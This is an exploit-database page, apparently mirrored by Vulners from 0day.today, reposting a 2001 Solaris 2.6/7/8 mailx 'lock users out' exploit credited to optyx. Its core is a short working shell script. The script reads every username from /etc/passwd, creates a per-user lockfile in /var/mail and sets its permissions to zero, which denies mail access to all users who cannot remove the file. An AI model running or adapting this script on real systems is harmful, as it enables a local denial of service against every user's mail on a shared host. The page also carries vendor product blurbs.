Lucene search
K

Solaris 2.6 / 7 / 8 Lock Users Out of mailx Exploit

🗓️ 03 Jan 2001 00:00:00Reported by optyxType 
zdt
 zdt
🔗 0day.today👁 18 Views

Solaris 2.6, 7, 8 exploit locks mailx access for users, allowing only lockfile erasure access.

Code
===================================================
Solaris 2.6 / 7 / 8 Lock Users Out of mailx Exploit
===================================================


#!/bin/sh
#
# Solaris mailx(1) username.lock  proof of theory
# makes mailx not work for all users except those
# that  can erase the lockfile even so mailx will
# hang for a long time.
#
# Tested on Solaris 2.6, 7, 8
#
# by Optyx <[email protected]>
# http://www.uberhax0r.net

echo "mailx-lock by optyx. http://www.uberhax0r.net"
for x in `cat /etc/passwd | cut -d':' -f1`;do
touch /var/mail/$x.lock
chmod 0 /var/mail/$x.lock
done




#  0day.today [2018-03-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation